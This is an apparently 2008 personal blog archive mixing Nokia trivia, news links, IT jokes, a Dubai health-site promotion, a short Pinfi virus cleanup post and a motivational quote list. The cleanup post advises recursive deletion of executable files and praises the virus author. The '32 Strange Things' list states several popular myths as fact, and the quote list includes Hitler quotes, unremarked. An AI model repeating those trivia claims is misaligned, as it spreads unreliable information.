9) Nokia is sometimes called aikon (Nokia backwards) by non-Nokia mobile phone users and by mobile software developers, because "aikon" is used in various SDK software packages, including Nokia's own Symbian S60 SDK.

10) The name of the town of Nokia originated from the river which flowed through the town. The river itself, Nokianvirta, was named after the old Finnish word originally meaning sable, later pine marten. A species of this small, black-furred predatory animal was once found in the region, but it is now extinct. font.

Nokia Connecting by itself1

2008-05-29T03:47:00.000-07:00

Videosss

2008-05-28T03:46:00.000-07:00

http://www.livescience.com/php/video/player.php?video_id=080519-CrustyMystery
Darwin ! Eat your Heart out!

http://www.livescience.com/php/video/player.php?video_id=3balljuggling&plugin=f
Learn 3 ball juggle

http://www.foxnews.com/story/0,2933,358147,00.html?sPage=fnc/scitech/naturalscience
30 feet SQUID... Captain hook was tellin the truth all this time !

http://www.moli.com/p/moliview/0_201858/article
DEMF Detroit Electronic Music Festival!

28th May News brought to you by no electricity and server problems!

2008-05-27T23:43:00.000-07:00

http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9087441&source=NLT_AM&nlid=1
Feds hacked in less than 6 hours!

http://www.xssed.com/news/69/Facebook_vulnerable_to_XSS._Over_70_million_users_are_at_risk./
Facebook hackable!

http://www.reghardware.co.uk/2008/05/27/apple_solar_power_patent/
Apple is gona be bakeing in the sun!

http://www.doctor-dubai.com
We have 2 more Registrations! we arent even imposing it on them!

Doctors Suggest 'Sleep to be Sexy, Smart and Slim'
Finally i found an excuse for being overweight!

"Lead, follow, or 'GET OUT' of the way."
-- Thomas Paine

we are IT

2008-05-23T04:45:00.000-07:00

1) Long back, a person who sacrificed his sleep, forgot his family, forgot his food, Forgot laughter were called
"Saints"
But now they are called.. "IT professionals"

2) An interesting line written at the back of a Biker ' s T Shirt:
"If you are able to see this, please tell me that my girlfriend has fallen off"

3.) Most Relationships fail not because of the absence of love..
Love is always present.. Its just that,
One loves too much, And
the other loves too many,

4.) Employee:
Boss, Now I have got married..! Please increase my salary..!
BOSS:
Factory is not responsible for accidents occurring outside the company..!

5.) What is a Fear?
Fear is the Deep, Wrenching feeling in your stomachWhen pages of your book still smell new and Just few hours left for your exams..!

6.) Useful
Someone has rightly said, "A fool can ask More questions that a wiseman cannot answer"
No Wonder why so many of us speechless when lecturers ask question..!

7.) Girl:
Do you have Cards with sentimental Love quotes?
Shopkeeper:
Oh sure..@! How about this card, it says "To the only boy I ever loved.!"
Girl:
That ' s good, Give me 12 of them..!

8.) After reading the form filled by an applicant.. The employer said: " WE do have an... opening for you..! "
Applicant:
What is it?
Interviewer:
Its called the "door..!"

9.) A Banner cum Sign Board In front of an IT company..
Drive Slowly, Don ' t kill our Employee.... . Leave them to us

Pinfi (One of the best win32 infectors after win32.CIH)

2008-05-17T03:00:00.000-07:00

One of the most common win32 infectors in our locality is win32.pinfi or parite as some like to call it.

Well i ran into it again, i spend alot of time trying to run a tight ship but that rat was right under my nose one more time. Anyways heres how to fix it.

a) identify the source of infection .. my case USB >
b) Del *.exe /s USB Drive
c) Del *.inf /s USB Drive
d) Microsoft did include pinfi in their Malicious software removal tool but hey what are the chances of ms security solutions working.;.. well pritty slim.
e) Any way ran avasti cleaner, avg, and norton.
f) Backed up the drive.
g) Just another day at the office.

P.S Love the coder.

Doctor-Dubai.com 'Dubai. The City That Cares For Your Wellness'

2008-05-05T23:09:00.000-07:00

Doctor-Dubai.com (link)
'Dubai. The City That Cares For Your Wellness'
The advancement of technology has brought the world closer, made distances small and information available to anyone willing to look for it. Since the dawn of time, man has sought ways to communicate over distances, from primitive smoke signals to telephone & television; man has devised technology to help him do so. It is an understatement to call the Internet 'the greatest communication medium of all time' it has, in essence replaced days and hours by minutes. Interactive content is no longer a concept of the future; it is a dream from the past; a reality today.
Health is without a doubt the greatest gift from Allah, without it the worldly affairs are mere mirages. Doctors are the few noble souls that act as mercenaries helping us in need. Doctor-Dubai.com is an attempt to utilize the most widely accessible media to deliver core information about health care professionals, institutes and their facilities to the people in, and coming to, Dubai.
This ideology has driven us in creating a user friendly search engine which provides up-to-date information about medical doctors as well as other medical & non-medical resources. An overwhelming response to our effort has pushed us into venturing similar and related lines; this has indeed exponentially increased the value of our service to the user. Our service though invaluable to many, is provided completely free of charge, all users have absolutely free access to premium content at all times. No hidden, one time or periodical payment is expected by anyone using this resource!
In essence our vision is to present Dubai in the eyes of world as rightfully 'The City That Cares For Your Wellness'

'Men are only as good as their technical development allows them to be.'
George Orwell

Geeks!!!

2008-05-05T01:16:00.000-07:00

“Programming is like sex, one mistake and you have to support it for the rest of your life.” — Michael Sinz

"1f u c4n r34d th1s u r34lly n33d t0 g37 l41d"

"Like car accidents, most hardware problems are due to driver error."

"If you give someone a program, you will frustrate them for a day; if you teach them how to program, you will frustrate them for a lifetime."

"It is easier to change the specification to fit the program than vice versa."

"Programmers are tools for converting caffeine into code."

"Hacking is like sex. You get in, you get out, and hope that you didn't leave something that can be traced back to you."

"My software never has bugs. It just develops random features."

2008-05-02T23:20:00.000-07:00

32 Strange Things !!!

Good things to know.....

1. A rat can last longer without water than a camel.
2. Your stomach has to produce a new layer of mucus every two Weeks or it will digest itself.
3. The dot over the letter "i" is called a "tittle".
4. A raisin dropped in a glass of fresh champagne will bounce up and down continuously from the bottom of the glass to the top.
5. A female ferret will die if it goes into heat and cannot Find a mate.
6. A duck's quack doesn't echo. No one knows why.
7. A 2 X 4 is really 1-1/2" by 3-1/2".
8. During the chariot scene in "Ben Hur," a small red car can Be seen in the distance (and Heston's wearing a watch).
9. On average, 12 newborns will be given to the wrong parents Daily! (That explains a few mysteries....)
10. Donald Duck comics were banned from Finland because he doesn't wear pants.
11. Because metal was scarce, the Oscars given out during World War II were made of wood.
12. The number of possible ways of playing the first four moves Per side in a game of chess are 318,979,564,000.
13. There are no words in the dictionary that rhyme with orange, Purple and Silver.
14. The name Wendy was made up for the book Peter Pan. There was Never a recorded Wendy before.
15. The very first bomb dropped by the Allies on Berlin in World War II killed the only elephant in the Berlin Zoo.
16. If one places a tiny amount of liquor on a scorpion, it will Instantly go mad and sting itself to death. (Who was the sadist who discovered this??)
17. Bruce Lee was so fast that they actually had to s-l-o-w film down so you could see his moves. That's the opposite of the norm.
18. The first CD pressed in the US was Bruce Springsteen's "Born in the USA."
19. The original name for butterfly was flutterby.
20. The phrase "rule of thumb" is derived from an old English Law which stated that you couldn't beat your wife with anything Wider than your thumb.
21. The first product Motorola started to develop was a record Player for cars. At that time, the most known player on the market Was Victrola, so they called themselves Motorola
22. Roses may be red, but violets are indeed violet.
23. By raising your legs slowly and lying on your back, you can not sink into quicksand.
24. Celery has negative calories. It takes more calories to eat a piece of celery than the celery has in it to begin with.
25. Charlie Chaplin once won third prize in a Charlie Chaplin Look-alike contest.
26. Chewing gum while peeling onions will keep you from crying.
27. Sherlock Holmes NEVER said, "Elementary, my dear Watson."
28. An old law in Bellingham, Washington, made it illegal for a Woman to take more than three steps backwards while dancing!
29. The glue on Israeli postage is certified kosher.
30. The Guinness Book of Records holds the record for being the Book most often stolen from public libraries.
31. Astronauts are not allowed to eat beans before they go into space because passing wind in a spacesuit damages them.
32. Bats always turn left when exiting a cave

Welcome to My Blog

2008-04-26T01:34:00.000-07:00

Rabbish Rahli Sadri Wa Yas-sir li Amri Wahloul Uqdatam
Mil-lisaani Yafqahu Qawli

I act by:

"Try again. Fail again. Fail better." Samuel Beckett

"Do, or do not. There is no 'try.'" Jedi Master Yoda

"History will be kind to me for I intend to write it. " Sir Winston Churchill
"Those who want to live, let them fight, and those who do not want to fight in this world of eternal struggle do not deserve to live." Adolf Hitler
"Try not to become a man of success but rather try to become a man of value." Albert Einstein
"How fortunate for leaders that men do not think." Adolf Hitler
"Whatever you are by nature, keep to it; never desert your line of talent. Be what nature intended you for and you will succeed." Sydney Smith
"Either I will find a way, or I will make one." Philip Sidney